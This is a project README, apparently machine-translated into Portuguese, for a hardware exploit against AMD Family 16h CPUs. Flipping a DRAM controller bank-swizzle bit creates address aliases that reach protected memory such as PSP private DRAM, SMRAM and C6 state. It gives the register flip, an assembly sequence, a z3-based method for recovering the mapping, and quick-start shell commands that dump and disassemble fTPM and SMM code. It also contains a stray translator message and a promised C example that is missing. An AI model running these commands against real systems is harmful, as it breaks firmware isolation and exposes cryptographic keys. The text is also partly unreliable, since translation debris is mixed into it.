
Desbloqueando _tudo_ na CPU com DRAM scrambling
# skitter-creek-bath-salts
> *Desbloqueando **tudo** na CPU com embaralhamento de DRAM — PSP, C6, microcódigo,
> SMM, e qualquer outra coisa que as especificações deixaram de fora.*
`&x == &x`.
Normalmente.

Cutuque o controlador de DRAM e um endereço pode ser feito para aterrissar onde você quiser na
memória. `skitter-creek-bath-salts` modifica as camadas inferiores da hierarquia de memória
para religar as traduções de endereços físicos da DRAM. Isso embaralha a
memória da plataforma, expondo regiões protegidas da DRAM — carveouts invisíveis até
para o kernel. Quando as traduções de endereços quebram, as primitivas de segurança
construídas sobre elas também quebram, e nós desbloqueamos *tudo*.
---
## TL;DR
- [Desbloqueie seu Platform Security Processor](#quick-start-unlock-your-platform-security-processor)
- [Desbloqueie o System Management Mode](#quick-start-unlock-system-management-mode)
- [Desbloqueie a DRAM C6](#quick-start-unlock-cc6-dram)
- [Desbloqueie seu microcódigo da CPU](#quick-start-unlock-your-cpu-microcode)
---
## Alvo
Desenvolvido e testado em **CPUs AMD Family 16h**, a última geração cujos
datasheets documentam os registradores de tradução do controlador de DRAM — e mostram que
eles não podem ser bloqueados. 17h e além simplesmente omitem essa informação. A
[odisseia de `*p`](#the-odyssey-of-p) é semelhante entre gerações e
arquiteturas, e as transformações subjacentes se estendem até a ARM, RISC-V, e
além; `skitter-creek-bath-salts` nos mostra [**apenas como começar**](#the-shared-pipeline).
---
## A odisseia de `*p`
> *É um longo caminho para baixo.*
A memória é construída sobre camadas de abstração tão profundas que se tornam quase absurdas. Quando
seu código desreferencia `*p`, ele parece acessar a DRAM em `p`. Não acessa —
`p` é um endereço virtual, e antes que um único bit da DRAM seja tocado, ele deve
sobreviver à provação abaixo:```
── CPU core / MMU ─────────────────────────────────────────────────
┌─ VA ← 64-bit virtual address from load/store
│
└> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47
┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE)
│
└> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest)
hit → physical address k │
miss → engage hardware page walker │
┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss
│ PML5[VA 56:48] ← only if CR4.LA57
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 1 GiB leaf possible
│ PD [VA 29:21] ← 2 MiB leaf possible
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk
privilege (U/S) │ ← CPL vs PTE.U/S
write (R/W) │ ← + CR0.WP
execute (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
protection keys │ ← PKRU (user) · IA32_PKRS (supervisor)
┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE
│
└> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override
⇒ ~5× walks per single guest walk │
┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs
│
│ ── IOMMU (chipset / I/O fabric) ──────────────────────────────────
│
└> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables
│
┌── **physical address k** <─────────────────┘
│
│ ── CPU core / MMU — memory-type resolution ────────────────────────
│
└> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs
┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU uncore — caches & coherence ────────────────────────────────
│
┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core
│
└> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX
┌─ LLC probe + directory consult <────────────┘ ← shared, sliced
│
└> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast
intra-socket │ ← broadcast to peer cores
inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node directory response │ ← data | intervention | abort
│
── system data fabric / interconnect ──────────────────────────────
│
┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn
│ → device BAR; done
│
└> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore
│
┏━━ ── MCT / IMC (memory controller) ────────────────────────────────
W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM
E ┃ │
┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges
┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel
A ┃ │
R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank
E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank
┃ │
┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable
H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line
E ┃ │ rank → CS map
R ┃ │
E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only
┗━━ │
│
DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)
```
Este projeto atua nos níveis mais profundos do pipeline `*p`, a camada MCT/DCT
— onde um endereço físico proveniente do data fabric/interconnect entra no
controlador de memória e é reescrito uma última vez nas coordenadas brutas da DRAM que são
emitidas para o DIMM.
---
## Espaguetificando a DRAM
> Endereços físicos são, na verdade, mais uma sugestão.```nasm
xor dword [0xf80c2094], 0x00400000
```
Esse é o exploit. Todo ele.
Um único bit-flip no controlador DRAM reconfigura a base do pipeline `*p`, e
os dados que estavam em `&x` agora estão em outro lugar no meio do percurso. De repente, `&x != &x`.
Todos os mecanismos que a CPU, o firmware, o uncore e o chipset usam para isolar a memória
protegida ficam acima do controlador de memória, e nenhum deles vê o que acontece abaixo.
As barreiras protegem endereços físicos, não coordenadas DRAM; reorganize as
coordenadas e as barreiras acima nunca percebem.
Mas reconfigurar a DRAM é fácil. O bit acima é o bank-swizzle-mode no DCT,
e é apenas um entre dezenas que controlam os remapeamentos de endereço na camada final —
tudo o que você precisa fazer é cutucá-los para fazer tudo o que foi construído por cima desmoronar. A
parte mais difícil, então, é manter a plataforma funcionando enquanto toda a memória do sistema é
embaralhada por baixo dela.
O truque: seja rápido e *não toque na DRAM*. Desative as APs, prepare as
TLBs, aqueça o cache, desative as interrupções, faça flush do alvo, serialize os acessos
à memória e torça para que a CPU tenha pré-buscado as próximas instruções. Então reconfigure
o MCT/DCT para transformar a DRAM em espaguete, pegue alguns dados da região protegida,
reverta os mapeamentos, serialize novamente, ative as interrupções, retome as APs, e a
plataforma volta ao normal.```nasm
mov eax, [0xf80c2094] ; prime mmio TLB
mov eax, [0x6f800000] ; prime target TLB
pushf ; preserve flags
cli ; interrupts off
clflush [0x6f800000] ; evict the target, force the dram read
mfence ; barrier - no coherent world dram access
lfence ; reordered into spaghettified view
xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram
mov ebx, [0x6f800000] ; fetch target in spaghettified view
xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble
mfence ; barrier - no spaghettified dram access
lfence ; reordered into coherent world view
popf ; interrupts back on
```
Com uma configuração cuidadosa de paginação, estados de cache, threading e TLBs, o scrambling de endereços pode ser feito funcionar a partir de C, para ilustrar o colapso do pipeline `*p`, e a visão corrompida da plataforma quando de repente `&x != &x`:

Assim, podemos reconfigurar o mapa e restaurá-lo sem deixar rasto. Tudo o que resta é saber em que o reconfigurámos.
---
## Desbloquear *tudo*
> Todas as regiões de memória protegidas na plataforma, acessíveis com uma calculadora.
Com a abordagem acima, podemos reprogramar a transformação MCT/DCT num sistema em execução — reorganizando o estágio mais baixo do pipeline `*p` para fazer scrambling da memória por baixo de todas as proteções construídas acima dele.
Mas há um desafio: embora possamos reprogramar a tradução com um simples `xor dword [0xf80c2094], 0x00400000`, não temos ideia de que novas transformações o MCT/DCT irá usar (as datasheets são subespecificadas aqui — os mapas xor estão errados, o estágio subtrativo MMIO é desordenado, e os detalhes variam entre modelos).
Sem isto, a memória faz scrambling, mas não temos forma de a reconstruir.
Felizmente, a transformação de endereços do controlador DRAM é um mapa linear GF(2), o que significa que podemos reconstruir a memória com scrambling usando álgebra linear básica.
Primeiro, considere o caso normal: a transformação direta da configuração padrão do MCT/DCT é aplicada a algum endereço físico, que aterra num local secreto na DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
```
Esta é a visão *coerente* da memória: o estágio mais baixo do pipeline `*p`
opera exatamente como deveria.
Agora reconecte o estágio MCT/DCT de `*p` com `xor dword [0xf80c2094], 0x00400000`,
e a plataforma entra em uma visão embaralhada/espaguetificada da memória onde uma
transformação diferente permite que um *alias* alcance o mesmo segredo da DRAM:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
```
Este alias nos permite alcançar o mesmo segredo sem acionar os bloqueios e defesas de plataforma existentes, construídos para a visão coerente. Para encontrar o alias, componha o inverso do hash de ataque/espaguetificado com o avanço do hash de firmware/coerente, para obter a tradução que alcançará qualquer segredo a partir da configuração maliciosa de MCT/DCT:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
```
O único desafio é que as matrizes são desconhecidas, o que significa que *não
temos ideia* de como a memória está realmente embaralhada, e nenhuma transformação
para usar para alcançar o segredo em primeiro lugar:```
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
```
Felizmente, neste ponto é apenas álgebra linear, e você poderia resolver as
transformações à mão se quisesse. Ou: uma calculadora.
Usamos [z3](https://github.com/z3prover/z3). Primeiro, o solucionador SMT precisa
de restrições para trabalhar.
Comece na visão coerente, modifique o MCT/DCT para alternar para a visão espaguetificada,
insira algum valor sentinela como `0xdeadc0de` em um endereço aleatório na memória,
volte para a visão coerente e varra a memória em busca de onde a sentinela
ressurge. Isso fornece um par (alvo, alias) — um ponto de dados concreto mostrando dois
endereços físicos que mapeiam para a mesma célula na DRAM. Repita o processo,
reúna alguns dados, passe-os para o z3, e ele resolve a matriz de transformação
necessária para converter entre as duas visões — qualquer endereço físico da visão coerente de um
lado, seu alias na visão espaguetificada do outro:```
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
```
Alimentar pares de alias ao z3 um de cada vez permite-nos observar o solucionador SMT a decifrar o embaralhamento de memória em tempo real, como mostrado na [imagem de abertura](#skitter-creek-bath-salts).
A transformação resolvida é uma pedra de roseta: qualquer endereço alvo na visão coerente mapeia para um alias que alcança a mesma DRAM na visão espaguetificada. Para alcançar qualquer memória protegida, pegue num endereço que normalmente não conseguimos tocar — memória privada do PSP, SMRAM, o estado de idle C6 — e passe-o pela transformação para obter o seu alias. Depois reconfigure o DCT com `xor dword [0xf80c2094], 0x00400000`, leia ou escreva o alias, e volte atrás com um segundo `xor`. O caminho do alias através do pipeline `*p` nunca encontra uma barreira que a plataforma construiu para a visão coerente — acesso irrestrito a qualquer coisa na DRAM.

No fim, tudo o que foi tão cuidadosamente isolado — memória privada do PSP, SMRAM, o estado de idle C6, inacessível a partir do SO, ring-0, por vezes a própria CPU — continua a residir nos mesmos condensadores de DRAM. Mas as fechaduras foram construídas em torno da visão coerente da memória, e não fazem nada contra um alias espaguetificado que alcança a mesma célula.
Basta inverter um bit no nível final do pipeline `*p`, e desbloqueámos tudo.
---
## Início rápido: desbloquear o seu Platform Security Processor
> *Manipule o seu PSP, veja o que acontece.*
O fTPM corre no próprio núcleo ARM do PSP, numa carveout de DRAM logo após o topo-de-memória visível. Alcance-o fazendo alias de um endereço físico visível ao SO para lá, extraia os bytes, desmonte.```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
# Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /
# 0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix
# matches your DIMMs; one --map per saved map.
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
# The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp
# (0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
--start-address=$((PSP_BASE + 0x19d4)) \
--stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
-D psp.bin
```
Nenhum conteúdo foi fornecido. Por favor, cole o trecho Markdown que deseja traduzir.```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024-bit operand
7f8019e4: f7fe ffef bl 0x7f8009c6 ; import base (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; import exponent (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; the modexp itself
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; log error
7f801a2e: f001 e92a blx 0x7f802c84 ; export result
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
```
Esse é o motor RSA do PSP — o modexp por trás de cada assinatura fTPM, e por trás
dos testes de Miller-Rabin que geram suas chaves — extraído da memória que o PSP
deveria possuir sozinho, isolado no controlador de memória, opaco até mesmo para
o ring-0. Modifique como achar adequado.
---
## Início rápido: desbloquear o System Management Mode
> *Leia o que o SMM esconde.*
O vetor de entrada do handler de SMI fica em `SMBASE + 0x8000`. O `SMBASE` está no
MSR `0xc0010111`. Leia-o, extraia os bytes através do mapa de alias e canalize-os
diretamente para um disassembler:```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1
sudo modprobe msr
# SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
# Dump the entry vector through the alias map and disassemble on the fly.
# SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
# printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
```
```
---
[Read more](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts)